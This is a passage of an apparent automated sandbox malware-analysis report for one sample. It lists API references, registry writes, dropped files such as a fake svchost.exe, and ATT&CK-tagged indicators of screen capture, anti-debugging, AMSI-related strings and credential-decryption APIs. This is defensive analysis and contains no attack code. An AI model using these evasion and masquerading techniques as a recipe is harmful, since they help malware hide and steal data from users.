00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001312.00000000.136843.06900000.00000004.mdmp")54:Tf52,Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp")55:T4c8,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp")56:T505,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp")57:Tbb2,"-f"), "dwm.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "4F17647E801766B5C31F8824CB5B910681A4785768E4A76D84B58C021B29280200"), "dwm.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "C0153CED9BD32E6A2ACB2876312DA704B75F636D27B466CBDDE1E9FC3749EA2100"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")59:T50d,Dropped file: "34DE06929391.exe" - Location: [%LOCALAPPDATA%\MergedApps_b664748b-538e-4d71-88a0-dbe4e1c51deb\34DE06929391.exe]- [targetUID: 00000000-00008176] Dropped file: "svchost.exe" - Location: [%APPDATA%\SystemData\svchost.exe]- [targetUID: 00000000-00008176] Dropped file: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin.exe.log]- [targetUID: 00000000-00008176] Dropped file: "conhost.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\conhost.exe.log]- [targetUID: 00000000-00004332] Dropped file: "ModuleAnalysisCache" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00001696] Dropped file: "StartupProfileData-Interactive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00001696] Dropped file: "svchost.exe" - Location: [%LOCALAPPDATA%\MergedApps_b664748b-538e-4d71-88a0-dbe4e1c51deb\svchost.exe]- [targetUID: 00000000-00008176] Dropped file: "conhost.exe" - Location: [%LOCALAPPDATA%\MergedApps_b664748b-538e-4d71-88a0-dbe4e1c51deb\conhost.exe]- [targetUID: 00000000-00008176]5a:T4b7,Found string "CorExitProcess" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: CLR.DLL) Found string "AreFileApisANSI" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: KERNELBASE.DLL) Found string "CompareStringEx" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: KERNELBASE.DLL) Found string "LCMapStringEx" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: KERNELBASE.DLL) Found string "AppPolicyGetProcessTerminationMethod" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: KERNEL.APPCORE.DLL) Found string "log10" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: UCRTBASE_CLR0400.DLL) Found string "RegSetValueExA" (Source: aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin, API is part of module: ADVAPI32.DLL)5b:T5aa,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00008176-00000BC0-1104195475\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00001696.00000001.140420.077B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00000032.00000000.136893.02C55000.00000004.mdmp\n 00000000-00000032.00000001.138810.02C55000.00000004.mdmp\n Observed string: \"amsiscanbuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00000032.00000000.136893.02C55000.00000004.mdmp\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00001696.00000001.140420.077B0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"svchost.exe has big resource with name: \"svchost.svchost.exe\" size: \"717824\" and abnormal entropy:\"7.814559418782684\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000032.00000001.138810.00362000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000032.00000002.140730.06200000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008176.00000000.136473.04A30000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008176.00000001.136534.04A30000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"ReAgentc.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 6DD10000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"svchost.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00007572-00000C2C-1137271252\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000032.00000002.140730.02C55000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptGenKey\" (Indicator: \"CryptGenKey\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")\n Found api reference \"BCryptEncrypt\" (Indicator: \"BCryptEncrypt\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")\n Found api reference \"BCryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")\n Found api reference \"BCryptExportKey\" (Indicator: \"BCryptExportKey\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")\n Found api reference \"BCryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptEncrypt\" (Indicator: \"BCryptEncrypt\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2b","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000032.00000002.140730.02C55000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00001696.00000001.140420.077B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004332-00000C2C-1108785683\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001696-00000C2C-1141796522\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"ystem.Identity.QualifiedUserName\" (Source: \"00000000-00000032.00000002.140730.030D0000.00000002.mdmp\")\n Found string \"ystem.Identity.UserName\" (Source: \"00000000-00000032.00000002.140730.030D0000.00000002.mdmp\")\n Found string \"ystem.UserName\" (Source: \"00000000-00000032.00000002.140730.030D0000.00000002.mdmp\")\n Found string \"System.Identity.UserName\" (Source: \"00000000-00000032.00000002.140730.03120000.00000002.mdmp\")\n Found string \"System.Identity.QualifiedUserName\" (Source: \"00000000-00000032.00000002.140730.03120000.00000002.mdmp\")\n Found string \"System.UserName\" (Source: \"00000000-00000032.00000002.140730.03120000.00000002.mdmp\")\n Found string \"GetUserNameExW\" (Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")\n Found string \"GetUserNameExA\" (Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004332-00000C2C-1108785683\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001696-00000C2C-1141796522\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00001312-00000C2C-1121944265\")\n 